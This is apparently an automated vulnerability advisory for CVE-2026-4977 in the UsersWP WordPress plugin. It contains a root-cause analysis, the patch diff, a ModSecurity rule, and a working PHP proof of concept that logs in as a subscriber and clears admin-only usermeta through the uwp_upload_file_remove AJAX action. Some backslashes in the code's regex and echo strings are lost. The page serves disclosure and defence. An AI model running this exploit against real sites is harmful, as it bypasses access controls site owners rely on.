Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 18, 2026

CVE-2026-4977: UsersWP <= 1.2.58 – Authenticated (Subscriber+) Restricted Usermeta Modification via 'htmlvar' Parameter (userswp)

CVE ID CVE-2026-4977
Plugin userswp
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.2.58
Patched Version 1.2.59
Disclosed April 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-4977:
This vulnerability is an improper access control flaw in the UsersWP WordPress plugin, affecting versions up to and including 1.2.58. The vulnerability resides in the AJAX handler for file removal, allowing authenticated attackers with subscriber-level permissions to modify restricted usermeta fields.

Atomic Edge research identifies the root cause in the `upload_file_remove()` function within `/userswp/includes/class-forms.php`. The function accepted a user-supplied `htmlvar` parameter via the `$_POST[‘htmlvar’]` variable. The vulnerable code at lines 2259-2260 used `esc_sql(strip_tags($_POST[‘htmlvar’]))` for sanitization, which does not validate the parameter against a list of allowed fields. The function lacked checks for the field’s `for_admin_use` property, which designates fields for administrator use only. This omission allowed any authenticated user to specify arbitrary usermeta column names for their own user record.

The exploitation method involves an authenticated attacker sending a POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. The request must set the `action` parameter to `uwp_upload_file_remove` and include a valid security nonce. The attacker sets the `htmlvar` POST parameter to the name of a target usermeta field, such as a field marked ‘For admin use only’. The `uid` parameter is set to the attacker’s own user ID. This request triggers the `upload_file_remove()` function, which clears the specified usermeta value for the attacker’s account, bypassing intended field-level restrictions.

The patch modifies the `upload_file_remove()` function extensively. It adds a database query to fetch the field definition using the submitted `htmlvar` name. The patch introduces validation at lines 2293-2295, checking if the fetched field has the `for_admin_use` property set and if the current user lacks `manage_options` capability. It also validates that the field type is either ‘file’ or ‘image’. The `htmlvar` parameter is now sanitized with `sanitize_key()`. Additional security improvements include early checks for user authentication and valid input, returning JSON error responses instead of `wp_die()`.

Successful exploitation allows an attacker to clear or reset any usermeta value associated with their user account. This includes fields administrators intend to control, such as verification statuses, internal flags, or administrative notes. The impact is a bypass of field-level access controls, potentially disrupting administrative workflows or user management. The vulnerability does not allow modification of other users’ data or privilege escalation beyond the intended permissions of the affected fields.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/userswp/admin/settings/class-formbuilder.php
+++ b/userswp/admin/settings/class-formbuilder.php
@@ -1818,7 +1818,7 @@
                 'label'      => __( 'Validation Pattern', 'userswp' ) . uwp_help_tip( __( 'Enter regex expression for HTML5 pattern validation.', 'userswp' ) ),
                 'type'       => 'text',
                 'wrap_class' => uwp_advanced_toggle_class(),
-                'value'      => addslashes_gpc( $value ), // Keep slashes
+                'value'      => wp_slash( $value ), // Keep slashes
             )
         );

--- a/userswp/includes/class-forms.php
+++ b/userswp/includes/class-forms.php
@@ -103,25 +103,24 @@
 		}

 		if ( $processed ) {
-
 			if ( is_wp_error( $errors ) ) {
-				echo aui()->alert(
-                    array( // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-					'type'    => 'error',
-					'class'   => 'text-center',
-					'content' => wp_kses_post( $errors->get_error_message() ),
-                    )
-                );
-			} elseif ( $redirect ) {
+				aui()->alert(
+					array(
+						'type'    => 'error',
+						'content' => wp_kses_post( $errors->get_error_message() )
+					),
+					true
+				);
+			} else if ( $redirect ) {
 					wp_safe_redirect( $redirect );
 					exit();
-				} else {
-				echo aui()->alert(
-				array( // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
-				'type'    => 'success',
-				'class'   => 'text-center',
-				'content' => wp_kses_post( $message ),
-                    )
+			} else {
+				aui()->alert(
+					array(
+						'type'    => 'success',
+						'content' => wp_kses_post( $message )
+					),
+					true
 				);
 			}
 		}
@@ -197,6 +196,7 @@
 	 */
 	public function process_image_crop( $data = array(), $type = 'avatar', $unlink_prev_img = false ) {
 		global $wpdb;
+
 		if ( ! is_user_logged_in() ) {
 			return false;
 		}
@@ -205,6 +205,27 @@
 			return;
 		}

+		$image_url = ! empty( $data['uwp_crop'] ) ? esc_url( $data['uwp_crop'] ) : '';
+
+		if ( empty( $image_url ) ) {
+			return new WP_Error( 'empty_image', __( 'Upload valid image.', 'userswp' ) );
+		}
+
+		// Ensure we have a valid URL with an allowed meme type.
+		$image_url = $this->normalize_url( $image_url );
+
+		$content_url = str_replace( array( 'https://', 'http://' ) , '', untrailingslashit( WP_CONTENT_URL ) );
+		$_image_url = str_replace( array( 'https://', 'http://' ), '', $image_url );
+		if ( strpos( $_image_url, $content_url ) !== 0 ) {
+			return new WP_Error( 'invalid_image', __( 'Invalid image url.', 'userswp' ) );
+		}
+
+		$filetype = wp_check_filetype( $image_url );
+
+		if ( empty( $filetype['ext'] ) ) {
+			return new WP_Error( 'invalid_image', __( 'Invalid image type.', 'userswp' ) );
+		}
+
 		// If is current user's profile (profile.php)
 		if ( is_admin() && defined( 'IS_PROFILE_PAGE' ) && IS_PROFILE_PAGE ) {
 			$user_id = get_current_user_id();
@@ -216,19 +237,6 @@
 			$user_id = get_current_user_id();
 		}

-		// Ensure we have a valid URL with an allowed meme type.
-		$image_url = $this->normalize_url( esc_url( $data['uwp_crop'] ) );
-		$filetype  = wp_check_filetype( $image_url );
-
-		$errors = new WP_Error();
-		if ( empty( $image_url ) || empty( $filetype['ext'] ) ) {
-			$errors->add( 'something_wrong', __( 'Something went wrong. Please contact site admin.', 'userswp' ) );
-		}
-
-		if ( $errors->has_errors() ) {
-			return $errors;
-		}
-
 		// Retrieve current thumbnail.
 		$current_field     = 'avatar' === $type ? 'avatar_thumb' : 'banner_thumb';
 		$current_thumbnail = $this->normalize_url( uwp_get_usermeta( $user_id, $current_field, '' ) );
@@ -253,11 +261,12 @@
 			$name                 = sanitize_file_name( pathinfo( $image_path, PATHINFO_FILENAME ) ); //file name without extension
 			$thumb_image_name     = $name . $thumb_postfix . '.' . $ext;
 			$thumb_image_location = str_replace( $name . '.' . $ext, $thumb_image_name, $image_path );
+
 			//Get the new coordinates to crop the image.
-			$x = $data['x'];
-			$y = $data['y'];
-			$w = $data['w'];
-			$h = $data['h'];
+			$x = $data['uwpx'];
+			$y = $data['uwpy'];
+			$w = $data['uwpw'];
+			$h = $data['uwph'];
 			//Scale the image based on cropped width setting
 			$scale = $full_width / $w;
 			//$scale = 1; // no scaling
@@ -2249,44 +2258,79 @@
 	 * @since   1.0.0
 	 */
 	public function upload_file_remove() {
+		global $wpdb;
+
 		check_ajax_referer( 'uwp_basic_nonce', 'security' );

-		$htmlvar = esc_sql( strip_tags( $_POST['htmlvar'] ) );
+		// Check user logged in.
+		if ( ! is_user_logged_in() ) {
+			$message = aui()->alert( array( 'type' => 'error', 'content' => __( 'Access denied!', 'userswp' ) ) );
+			wp_send_json_error( array( 'message' => $message ) );
+		}
+
 		$user_id = ! empty( $_POST['uid'] ) ? absint( $_POST['uid'] ) : 0;
+		$htmlvar = ! empty( $_POST['htmlvar'] ) ? sanitize_key( $_POST['htmlvar'] ) : '';

-		if ( empty( $user_id ) ) {
-			wp_die( -1 );
+		if ( empty( $user_id ) || empty( $htmlvar ) ) {
+			$message = aui()->alert( array( 'type' => 'error', 'content' => __( 'Invalid data!', 'userswp' ) ) );
+			wp_send_json_error( array( 'message' => $message ) );
 		}

-		if ( ! ( is_user_logged_in() && ( $user_id == (int) get_current_user_id() || current_user_can( 'manage_options' ) ) ) ) {
-			wp_send_json_error( __( 'Invalid access!', 'userswp' ) );
+		// Validate the user / admin.
+		if ( ! ( $user_id == (int) get_current_user_id() || current_user_can( 'manage_options' ) ) ) {
+			$message = aui()->alert( array( 'type' => 'error', 'content' => __( 'Invalid access!', 'userswp' ) ) );
+			wp_send_json_error( array( 'message' => $message ) );
 		}

-		// Remove file
 		if ( $htmlvar == 'banner_thumb' ) {
-			$file = uwp_get_usermeta( $user_id, 'banner_thumb' );
+			$field_key = 'banner';
 			$type = 'banner';
-		} elseif ( $htmlvar == 'avatar_thumb' ) {
-			$file = uwp_get_usermeta( $user_id, 'avatar_thumb' );
+		} else if ( $htmlvar == 'avatar_thumb' ) {
+			$field_key = 'avatar';
 			$type = 'avatar';
 		} else {
-			$file = '';
+			$field_key = $htmlvar;
 			$type = '';
 		}

+		$field = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM " . uwp_get_table_prefix() . "uwp_form_fields WHERE htmlvar_name = %s LIMIT 1", $field_key ) );
+
+		// Check field exists.
+		if ( empty( $field ) ) {
+			$message = aui()->alert( array( 'type' => 'error', 'content' => __( 'Invalid field!', 'userswp' ) ) );
+			wp_send_json_error( array( 'message' => $message ) );
+		}
+
+		// Validate field access.
+		if ( ! empty( $field->for_admin_use ) && ! current_user_can( 'manage_options' ) ) {
+			$message = aui()->alert( array( 'type' => 'error', 'content' => __( 'You are not allowed to perform this action!', 'userswp' ) ) );
+			wp_send_json_error( array( 'message' => $message ) );
+		}
+
+		if ( ! in_array( $field->field_type, array( 'file', 'image' ) ) ) {
+			$message = aui()->alert( array( 'type' => 'error', 'content' => __( 'Invalid field type!', 'userswp' ) ) );
+			wp_send_json_error( array( 'message' => $message ) );
+		}
+
+		$value = uwp_get_usermeta( $user_id, $htmlvar );
+
 		uwp_update_usermeta( $user_id, $htmlvar, '' );

-		if ( $file ) {
+		if ( $value ) {
 			$uploads     = wp_upload_dir();
 			$upload_path = $uploads['basedir'];
-			$unlink_file = untrailingslashit( $upload_path ) . '/' . ltrim( $file, '/' );
+			$unlink_file = untrailingslashit( $upload_path ) . '/' . ltrim( $value, '/' );

 			if ( is_file( $unlink_file ) && file_exists( $unlink_file ) ) {
 				@unlink( $unlink_file );
-				$unlink_ori_file = str_replace( '_uwp_' . $type . '_thumb' . '.', '.', $unlink_file );

-				if ( is_file( $unlink_ori_file ) && file_exists( $unlink_ori_file ) ) {
-					@unlink( $unlink_ori_file );
+				// For avatar/banner, also remove the original (non-thumb) file.
+				if ( $type ) {
+					$unlink_ori_file = str_replace( '_uwp_' . $type . '_thumb' . '.', '.', $unlink_file );
+
+					if ( is_file( $unlink_ori_file ) && file_exists( $unlink_ori_file ) ) {
+						@unlink( $unlink_ori_file );
+					}
 				}
 			}
 		}
@@ -4322,7 +4366,7 @@
 		if ( empty( $html ) ) {

 			$design_style    = uwp_get_option( 'design_style', 'bootstrap' );
-			$bs_form_group   = $design_style ? 'form-group m-0' : ''; // country wrapper div added by JS adds marginso we remove ours
+			$bs_form_group   = $design_style ? 'form-group m-0' : ''; // country wrapper div added by JS adds margin so we remove ours
 			$bs_sr_only      = $design_style ? 'sr-only' : '';
 			$bs_form_control = $design_style ? 'form-control' : '';

--- a/userswp/includes/class-userswp.php
+++ b/userswp/includes/class-userswp.php
@@ -571,7 +571,7 @@

 		// general
 		add_action( 'init', array( $instance, 'init_notices' ), 1 );
-		add_action( 'uwp_loaded', array( $instance, 'handler' ) );
+		add_action( 'init', array( $instance, 'handler' ), 11 );
 		add_action( 'init', array( $instance, 'privacy_submit_handler' ) );
 		add_action( 'uwp_template_display_notices', array( $instance, 'display_notices' ), 10, 1 );
 		add_action( 'wp_ajax_uwp_upload_file_remove', array( $instance, 'upload_file_remove' ) );
--- a/userswp/templates/bootstrap/modal-profile-image-crop.php
+++ b/userswp/templates/bootstrap/modal-profile-image-crop.php
@@ -36,28 +36,28 @@
                 echo aui()->input(array( // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 	                'type'  =>  'hidden',
 	                'id'    =>  esc_html( $type.'-x' ),
-	                'name'  =>  'x',
+	                'name'  =>  'uwpx',
 	                'value' =>  '',
 	                'no_wrap' => true,
                 ));
                 echo aui()->input(array( // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 	                'type'  =>  'hidden',
 	                'id'    =>  esc_html( $type.'-y' ),
-	                'name'  =>  'y',
+	                'name'  =>  'uwpy',
 	                'value' =>  '',
 	                'no_wrap' => true,
                 ));
                 echo aui()->input(array( // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 	                'type'  =>  'hidden',
 	                'id'    =>  esc_html( $type.'-w' ),
-	                'name'  =>  'w',
+	                'name'  =>  'uwpw',
 	                'value' =>  '',
 	                'no_wrap' => true,
                 ));
                 echo aui()->input(array( // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
 	                'type'  =>  'hidden',
 	                'id'    =>  esc_html( $type.'-h' ),
-	                'name'  =>  'h',
+	                'name'  =>  'uwph',
 	                'value' =>  '',
 	                'no_wrap' => true,
                 ));
--- a/userswp/templates/bootstrap/profile-header.php
+++ b/userswp/templates/bootstrap/profile-header.php
@@ -23,7 +23,9 @@
 	return;
 }

-if ( ! $uwp_in_user_loop ){ ?>
+if ( ! $uwp_in_user_loop ) {
+do_action( 'uwp_template_display_notices', 'profile' );
+?>
 <div class="card shadow-0 border-0 mw-100"><?php }

 	if ( ! $hide_cover ) {
--- a/userswp/templates/modal-profile-image-crop.php
+++ b/userswp/templates/modal-profile-image-crop.php
@@ -34,10 +34,10 @@
 				<div class="uwp-<?php echo esc_attr( $type ); ?>-crop-p-wrap">
 					<div id="<?php echo esc_attr( $type ); ?>-crop-actions">
 						<form class="uwp-crop-form" method="post">
-							<input type="hidden" name="x" value="" id="<?php echo esc_attr( $type ); ?>-x" />
-							<input type="hidden" name="y" value="" id="<?php echo esc_attr( $type ); ?>-y" />
-							<input type="hidden" name="w" value="" id="<?php echo esc_attr( $type ); ?>-w" />
-							<input type="hidden" name="h" value="" id="<?php echo esc_attr( $type ); ?>-h" />
+							<input type="hidden" name="uwpx" value="" id="<?php echo esc_attr( $type ); ?>-x" />
+							<input type="hidden" name="uwpy" value="" id="<?php echo esc_attr( $type ); ?>-y" />
+							<input type="hidden" name="uwpw" value="" id="<?php echo esc_attr( $type ); ?>-w" />
+							<input type="hidden" name="uwph" value="" id="<?php echo esc_attr( $type ); ?>-h" />
 							<input type="hidden" id="uwp-<?php echo esc_attr( $type ); ?>-crop-image" name="uwp_crop" value="<?php echo esc_attr( $image_url ); ?>" />
 							<input type="hidden" name="uwp_crop_nonce" value="<?php echo esc_attr( wp_create_nonce( 'uwp_crop_nonce_'.$type ) ); ?>" />
 							<input type="submit" name="uwp_<?php echo esc_attr( $type ); ?>_crop" value="<?php esc_attr_e('Apply', 'userswp'); ?>" class="button button-primary" id="save_uwp_<?php echo esc_attr( $type ); ?>" />
--- a/userswp/userswp.php
+++ b/userswp/userswp.php
@@ -3,7 +3,7 @@
 Plugin Name: UsersWP
 Plugin URI: https://userswp.io/
 Description: The only lightweight user profile plugin for WordPress. UsersWP features front end user profile, users directory, a registration and a login form.
-Version: 1.2.58
+Version: 1.2.59
 Author: AyeCode Ltd
 Author URI: https://userswp.io
 License: GPL-2.0+
@@ -24,7 +24,7 @@
 }

 if ( ! defined( 'USERSWP_VERSION' ) ) {
-	define( 'USERSWP_VERSION', '1.2.58' );
+	define( 'USERSWP_VERSION', '1.2.59' );
 }

 if ( ! defined( 'USERSWP_PATH' ) ) {
--- a/userswp/vendor/ayecode/wp-ayecode-ui/ayecode-ui-loader.php
+++ b/userswp/vendor/ayecode/wp-ayecode-ui/ayecode-ui-loader.php
@@ -15,7 +15,7 @@
  */
 add_action('after_setup_theme', function () {
 	global $ayecode_ui_version,$ayecode_ui_file_key;
-	$this_version = "0.2.44";
+	$this_version = "0.2.45";
 	if(empty($ayecode_ui_version) || version_compare($this_version , $ayecode_ui_version, '>')){
 		$ayecode_ui_version = $this_version ;
 		$ayecode_ui_file_key = wp_hash( __FILE__ );
--- a/userswp/vendor/ayecode/wp-ayecode-ui/example-plugin.php
+++ b/userswp/vendor/ayecode/wp-ayecode-ui/example-plugin.php
@@ -3,7 +3,7 @@
 Plugin Name: AyeCode UI
 Plugin URI: https://ayecode.io/
 Description: This is an example plugin to test AyeCode UI Quickly.
-Version: 0.2.44
+Version: 0.2.45
 Author: AyeCode Ltd
 Author URI: https://userswp.io
 License: GPL-2.0+
--- a/userswp/vendor/ayecode/wp-ayecode-ui/includes/ayecode-ui-settings.php
+++ b/userswp/vendor/ayecode/wp-ayecode-ui/includes/ayecode-ui-settings.php
@@ -35,7 +35,7 @@
 		 *
 		 * @var string
 		 */
-		public $version = '0.2.44';
+		public $version = '0.2.45';

 		/**
 		 * Class textdomain.
--- a/userswp/vendor/ayecode/wp-ayecode-ui/includes/inc/bs5-js.php
+++ b/userswp/vendor/ayecode/wp-ayecode-ui/includes/inc/bs5-js.php
@@ -599,10 +599,8 @@
             } );

         });
-
     }

-
     /**
      * Open a lightbox when an embed item is clicked.
      */
@@ -665,8 +663,6 @@
                 $carousel  += '</ol>';
             }

-
-
             // items
             $i = 0;
             $rtl_class = '<?php echo is_rtl() ? 'justify-content-end' : 'justify-content-start'; ?>';
@@ -685,12 +681,17 @@
                 if (srcset) {
                     var sources = srcset.split(',')
                         .map(s => {
-                            var parts = s.trim().split(' ');
-                            return {
-                                width: parseInt(parts[1].replace('w', '')),
-                                descriptor: parts[1].replace('w', 'px')  // Ensuring the descriptor is in pixels
-                            };
+                            // Using regex /s+/ handles multiple spaces between the URL and width
+                            var parts = s.trim().split(/s+/).filter(Boolean);
+                            if (parts.length >= 2) {
+                                return {
+                                    width: parseInt(parts[1].replace('w', '')),
+                                    descriptor: parts[1].replace('w', 'px') // Ensuring the descriptor is in pixels
+                                };
+                            }
+                            return null;
                         })
+                        .filter(item => item !== null) // Remove any empty entries
                         .sort((a, b) => b.width - a.width); // Sort from largest to smallest for proper descending order

                     // Build the sizes string
@@ -703,10 +704,8 @@
                             return `(max-width: ${source.width - 1}px) ${array[index - 1].descriptor}`;
                         }
                     }).reverse().join(', '); // Reverse to start from smallest to largest for logical order
-
                 }

-
                 var img = href ? jQuery(a).find('img').clone().attr('src', href ).attr('sizes', sizes ).removeClass().addClass('mx-auto d-block w-auto rounded').css({'max-height':css_height,'max-width':'98%'}).get(0).outerHTML :  jQuery(a).find('img').clone().removeClass().addClass('mx-auto d-block w-auto rounded').css({'max-height':css_height,'max-width':'98%'}).get(0).outerHTML;
                 $carousel += img;
                 // captions
@@ -736,11 +735,9 @@

                 $carousel  += '</div></div>';
                 $i++;
-
             });
             $carousel  += '</div>';

-
             // next/prev indicators
             if($images.length > 1) {
                 $carousel += '<a class="carousel-control-prev" href="#aui-embed-slider-modal" role="button" data-bs-slide="prev">';
--- a/userswp/vendor/composer/installed.php
+++ b/userswp/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'uswerwp/userswp',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => 'cb6b334724a429ae4a83490a46a5f3480fa82bd4',
+        'reference' => 'cd9221d17db82a25422efb5dc6eb83ed42811a04',
         'type' => 'project',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -20,9 +20,9 @@
             'dev_requirement' => false,
         ),
         'ayecode/wp-ayecode-ui' => array(
-            'pretty_version' => '0.2.44',
-            'version' => '0.2.44.0',
-            'reference' => '8a2cb97147c889473e611e8bb240c8b658b87237',
+            'pretty_version' => '0.2.45',
+            'version' => '0.2.45.0',
+            'reference' => 'a68d22a3bc87a85dd12a519dee52366b8a7e4321',
             'type' => 'library',
             'install_path' => __DIR__ . '/../ayecode/wp-ayecode-ui',
             'aliases' => array(),
@@ -79,7 +79,7 @@
         'uswerwp/userswp' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => 'cb6b334724a429ae4a83490a46a5f3480fa82bd4',
+            'reference' => 'cd9221d17db82a25422efb5dc6eb83ed42811a04',
             'type' => 'project',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity 
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20264977,phase:2,deny,status:403,chain,msg:'CVE-2026-4977: UsersWP Restricted Usermeta Modification via htmlvar Parameter',severity:'CRITICAL',tag:'CVE-2026-4977',tag:'WordPress',tag:'Plugin:UsersWP'"
  SecRule ARGS_POST:action "@streq uwp_upload_file_remove" "chain"
    SecRule ARGS_POST:htmlvar "!@streq avatar_thumb" "chain"
      SecRule ARGS_POST:htmlvar "!@streq banner_thumb" 
        "t:lowercase,t:trim"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4977 - UsersWP <= 1.2.58 - Authenticated (Subscriber+) Restricted Usermeta Modification via 'htmlvar' Parameter

<?php

$target_url = 'https://vulnerable-site.com';
$username = 'attacker_subscriber';
$password = 'attacker_password';

// Initialize cURL session for WordPress login to obtain cookies and nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);

// Extract the security nonce required for the AJAX request.
// The nonce is typically found in page scripts or can be retrieved via a separate request.
// This example assumes we fetch the nonce from the user profile edit page.
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/profile.php');
curl_setopt($ch, CURLOPT_POST, 0);
$profile_page = curl_exec($ch);

// Pattern to find the uwp_basic_nonce (simplified example).
// In a real scenario, a more robust method like parsing the HTML would be needed.
preg_match('/"uwp_basic_nonce"s*value="([a-f0-9]+)"/', $profile_page, $nonce_matches);
$security_nonce = $nonce_matches[1] ?? '';

if (empty($security_nonce)) {
    die("Failed to extract security nonce. The user may not have sufficient permissions or the page structure differs.");
}

// Get the current user's ID. This could be parsed from the profile page or via a separate AJAX call.
// For this PoC, we assume the attacker knows their own user ID (e.g., 5).
$user_id = 5;

// Target a usermeta field marked 'For admin use only'.
// Replace 'admin_only_field' with the actual HTML variable name of a restricted field.
$target_htmlvar = 'admin_only_field';

// Construct the exploit AJAX request.
$post_data = array(
    'action' => 'uwp_upload_file_remove',
    'security' => $security_nonce,
    'uid' => $user_id,
    'htmlvar' => $target_htmlvar
);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$ajax_response = curl_exec($ch);

curl_close($ch);

echo "AJAX Response:n";
echo $ajax_response;

// A successful response will be a JSON object. If the field value is cleared, the operation succeeded.
// Check the response for success or error messages.
$response_data = json_decode($ajax_response, true);
if (isset($response_data['success']) && $response_data['success'] === true) {
    echo "n[SUCCESS] The usermeta field '$target_htmlvar' was likely cleared.";
} else {
    echo "n[FAILURE] The exploit may have failed or the field is not vulnerable.";
}

?>

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